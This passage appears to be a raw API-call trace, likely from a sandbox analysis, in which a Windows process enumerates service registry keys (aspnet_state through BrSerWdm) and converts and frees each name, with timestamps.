lpUsedDefaultChar=0x0) returned 17 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1970, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.193] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1b68, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.193] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.193] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0249.193] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.194] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.194] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1970, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.194] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.194] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.194] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.194] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.194] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.195] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.195] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.195] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.195] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1b68, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0249.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.195] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.195] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1970, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.196] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.196] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1970, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.196] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.196] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.196] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.196] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1b68, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.197] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.197] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1b68, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.197] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.197] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0249.197] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.197] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.197] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f1b68, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.198] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1970, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.198] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f1b68, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.198] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0249.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1970 [0249.198] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1970, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0249.198] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1b68 [0249.198] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1970) returned 1 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1b68) returned 1 [0249.199] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0249.199] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: 